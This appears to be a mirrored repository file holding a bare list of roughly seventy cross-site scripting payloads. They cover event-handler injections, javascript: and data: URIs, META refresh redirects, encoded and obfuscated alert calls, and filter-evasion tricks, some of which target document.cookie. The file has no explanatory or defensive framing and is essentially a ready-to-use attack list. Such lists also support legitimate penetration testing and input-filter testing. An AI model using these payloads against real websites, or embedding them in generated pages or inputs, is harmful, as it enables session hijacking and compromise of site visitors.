mirror of
https://github.com/ShadowByte1/XSS.git
synced 2024-12-18 10:26:10 +00:00
70 lines
3.5 KiB
Plaintext
70 lines
3.5 KiB
Plaintext
<img src=x onerror="javascript:alert('XSS')">
|
||
<IMG SRC=javascript:alert('XSS')>
|
||
<IMG SRC=javascript:alert('XSS')>
|
||
<IMG SRC="jav ascript:alert('XSS');">
|
||
<IMG SRC="jav	ascript:alert('XSS');">
|
||
<IMG SRC="jav
ascript:alert('XSS');">
|
||
<IMG SRC="jav
ascript:alert('XSS');">
|
||
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
|
||
<IMG SRC="  javascript:alert('XSS');">
|
||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||
<<SCRIPT>alert("XSS");//\<</SCRIPT>
|
||
<IMG SRC="`<javascript:alert>`('XSS')"
|
||
\";alert('XSS');//
|
||
<IMG SRC='vbscript:msgbox("XSS")'>
|
||
Set.constructor`alert\x28document.domain\x29
|
||
exp/*<A STYLE='no\xss:noxss("*//*");
|
||
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
|
||
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
|
||
¼script¾alert(¢XSS¢)¼/script¾
|
||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
||
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
|
||
<HTML><BODY>
|
||
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
|
||
<?import namespace="t" implementation="#default#time2">
|
||
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
|
||
</BODY></HTML>
|
||
|
||
|
||
<? echo('<SCR)';
|
||
echo('IPT>alert("XSS")</SCRIPT>'); ?>
|
||
|
||
<script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
|
||
|
||
/?xss=500); alert(document.cookie);//
|
||
|
||
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
|
||
<Video> <source onerror = "javascript: alert (XSS)">
|
||
<Input value = "XSS" type = text>
|
||
<applet code="javascript:confirm(document.cookie);">
|
||
<isindex x="javascript:" onmouseover="alert(XSS)">
|
||
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||
"><img src="x:x" onerror="alert(XSS)">
|
||
"><iframe src="javascript:alert(XSS)">
|
||
<object data="javascript:alert(XSS)">
|
||
<isindex type=image src=1 onerror=alert(XSS)>
|
||
<img src=x:alert(alt) onerror=eval(src) alt=0>
|
||
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
|
||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
|
||
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
|
||
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
|
||
<iframe src=javascript:alert(document.location)>
|
||
<form><a href="javascript:\u0061lert(1)">X
|
||
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
|
||
<style>//*{x:expression(alert(/xss/))}//<style></style>
|
||
(alert)(1)
|
||
a=alert,a(1)
|
||
[1].find(alert)
|
||
top[“al”+”ert”](1)
|
||
top[/al/.source+/ert/.source](1)
|
||
al\u0065rt(1)
|
||
top[‘al\145rt’](1)
|
||
top[‘al\x65rt’](1)
|
||
top[8680439..toString(30)](1)
|
||
alert?.()
|
||
(alert())
|
||
``${alert``}`` |